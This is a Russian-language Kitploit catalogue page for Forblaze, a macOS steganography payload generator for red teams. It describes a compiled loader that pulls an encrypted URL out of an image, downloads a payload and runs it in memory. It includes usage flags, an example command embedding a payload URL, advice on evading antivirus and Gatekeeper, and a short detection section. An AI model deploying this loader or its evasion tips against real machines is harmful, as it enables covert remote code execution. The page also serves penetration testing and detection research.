Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Forblaze — Forblaze - Генератор полезной нагрузки для стеганографии на Python для Mac | Kitploit
Инструменты/GitHubGitHub/asaurusrex/forblaze
Генерация полезной нагрузкиЭксплуатацияСтеганографияТестирование на ПроникновениеRed Teaming
GitHubasaurusrex/forblaze

Forblaze

Forblaze - Генератор полезной нагрузки для стеганографии на Python для Mac

Репозиторий
5644 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Forblaze — Генератор полезной нагрузки для стеганографии на Mac на Python/Выполнение Dylib/MachO в памяти

Автор: AsaurusRex

Отказ от ответственности

НЕ ИСПОЛЬЗУЙТЕ этот проект для целей, отличных от легитимных заданий red teaming/pentesting или исследований. НЕ ИСПОЛЬЗУЙТЕ его для каких-либо незаконных действий, и знайте, что этот проект предназначен для исследовательских целей и для помощи в продвижении задач как красных, так и синих команд.

Сообщение в блоге

О блоге, посвященном Forblaze, читайте на https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571

Назначение

Forblaze — проект, предназначенный для обеспечения возможностей стеганографии для полезных нагрузок Mac OS. С помощью python3 он создаст файл Obj-C, который будет скомпилирован для извлечения требуемых зашифрованных URL-адресов из стеганографического файла, получения полезных нагрузок по https и выполнения их непосредственно в памяти. Он использует пользовательское шифрование — оно не является криптографически надежным, но предназначено исключительно для затруднения анализа антивирусными движками. Это небольшое отклонение от моего ранее созданного пользовательского шифрования для Windows, называемого Rubicon, и на практике оно проще. Forblaze использует байты заголовка и окончания для определения местоположения зашифрованных байтов в стеганографическом файле, а затем расшифровывает их с помощью жестко заданного ключа в compile_forblaze.m. Этот ключ можно сохранить и повторно использовать, с тем эффектом, что другой URL-адрес может быть использован для получения другой полезной нагрузки, и тот же скомпилированный forblaze все еще должен быть способен выполнить и обработать его (при условии, что байты заголовка и окончания не изменены, и новый стеганографический файл загружен в правильное место).

Требования

Python3 (тестировалось только на Python3.9+), а также некоторые связанные библиотеки Python — pip3 должен позаботиться о любых необходимых зависимостях Python. Кроме того, для компиляции будет использоваться clang, и forblaze следует запускать на Mac, чтобы forblaze мог быть корректно скомпилирован.

Использование

usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]

Generate stego for implants.

optional arguments:

-h, --help show this help message and exit

-innocent_path PATH Укажите полный путь к невинному файлу, который будет использован.

-o OUTPUT Укажите путь, куда вы хотите поместить ваш стеганографический файл.

-len_key LENGTH_OF_KEY Укажите положительное целое число, которое будет длиной ключа в байтах. По умолчанию 16. Должно быть от 10 до 150 байт.

-url_to_encrypt URL Укажите URL, который вы хотите вставить в файл компиляции.

-supply_key SUPPLIED_KEY Если вы хотите использовать конкретный ключ, укажите его здесь. Он должен быть в формате: -supply_key "\x6e\x60\x..." — то есть между каждым байтом нужны два двойных слеша, иначе это НЕ БУДЕТ РАБОТАТЬ.

-stego_location STEGO_LOCATION Вы должны указать местоположение на цели, где будет находиться стеганографический файл. Разумно указывать строгие полные пути: например, /Users/<>/Documents/file.jpg.

-compiled_binary COMPILED_BINARY Укажите имя скомпилированного двоичного файла для извлечения URL и выполнения кода в памяти из стеганографического файла. По умолчанию — forblaze.

-method METHOD Выберите метод, который вы хотите использовать. Метод 1 основан на выполнении dylib непосредственно в памяти и работает как с полезными нагрузками Go, так и с обычными. Метод 2 основан на выполнении файла macho непосредственно в памяти, но не работает с полезными нагрузками, скомпилированными Go. Метод 3 — это метод 1, но с получением ключа дешифрования через сервер, что более дружественно к OpSec. Метод по умолчанию — 1. ПРИМЕЧАНИЕ: Возможно, вам все равно придется отредактировать 'module' (он же RunMain) вручную в зависимости от вашего метода выполнения!

-key_url KEY_URL Укажите URL для получения ключа дешифрования стеганографического файла.

root@kitploit:~
  python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg  -compiled_binary innocent_binary

OpSec соображения

Честно говоря, их не так много. Обнаружения в Mac OS все еще довольно слабые, особенно для активности в памяти. В качестве упражнения для читателя вы также можете вызывать байты полезной нагрузки напрямую, а не через URL, с некоторыми небольшими модификациями этого кода. Однако, в зависимости от размера вашей полезной нагрузки, часть шифрования в скрипте python может занять неприемлемо много времени.

Примечание: поскольку этот код компилируется в Mach-O двоичный файл (не dylib, хотя это можно довольно легко изменить в коде), такие средства контроля, как Gatekeeper, по умолчанию предотвратят его выполнение, если вы не сможете подписать полезную нагрузку или удалить атрибут карантина.

Я бы рекомендовал изменить такие параметры, как количество генерируемых случайных байтов по умолчанию, и изменить стандартные байты заголовка и окончания, которые forblaze использует для поиска полезной нагрузки в стеганографическом файле (а также длину этих байтов заголовка и окончания, чтобы сделать их, возможно, более незаметными).

Для наилучшей OpSec я рекомендую получать ключ дешифрования с внешнего сервера, которым вы управляете — тогда вы сможете строго контролировать доступ к этому ключу, что сделает обратную разработку (RE) гораздо сложнее.

Обнаружение/Предотвращение

Стеганографию довольно сложно обнаружить. Если вы знаете, где находится стеганографический файл, вы можете начать извлекать подозрительные байты после окончания нормального EOF файла (например, после 'FFD9' для JPEG). Эти подозрительные байты все равно будут включать фактические зашифрованные данные полезной нагрузки и бессмысленные случайные байты, которые будет трудно отличить друг от друга, если у вас нет байтов заголовка и завершения, указанных Forblaze. Вы можете просмотреть эти байты и искать повторяющиеся шаблоны, поскольку именно так работают байты заголовка и завершения в forblaze, но опытный оператор может сделать их поиск более сложным, чем по умолчанию. Если полезная нагрузка обнаружена, вы, очевидно, можете провести обратную разработку (RE) двоичного файла, попытаться найти стеганографический файл, а затем использовать жестко заданный ключ и заголовки/завершение, чтобы восстановить вызываемый URL (или другие байты). Но все это предполагает, что вы нашли двоичный файл каким-то другим способом.

Тестирование

Этот инструмент был протестирован на различных версиях Mac OS, включая Big Sur и Catalina (системы x64). Пожалуйста, сообщите мне, если у вас возникнут проблемы.

Технические детали

Пользовательское шифрование представляет собой базовый шифр Цезаря, где различные байты ключа используются для сдвига байтов вашего открытого текста. Вот почему большие ключи НЕ ОБЯЗАТЕЛЬНО лучше для вашего шифрования — это зависит от длины вашего открытого текста. Если ваш открытый текст составляет 50 байт, а вы используете 150-байтовый ключ, будут использованы только первые 50 байт ключа. Однако, если ваш открытый текст длиннее 150 байт, более длинные ключи будут более безопасными.

Стеганография довольно проста: байты исходного невинного файла остаются неизменными, а случайные байты (вместе с зашифрованными байтами полезной нагрузки) добавляются после этих байтов. По умолчанию длина этих случайных байтов составляет от 2 до 2000 (это, вероятно, следует изменить в соответствии с размером вашего открытого текста — большие открытые тексты должны означать, что генерируется больше случайных байтов).

Часть выполнения в памяти следует https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, а также загрузчику maisal (ссылку сейчас найти не могу), с простым изменением: вместо чтения байтов полезной нагрузки из файла на диске они читаются через http/https.

Вклад/Комментарии/Критика

Я очень открыт к получению комментариев и к сотрудничеству! Надеюсь, это поможет породить полезные обсуждения по теме пользовательской криптографии или предоставит исследователям новые идеи.

Скачать инструмент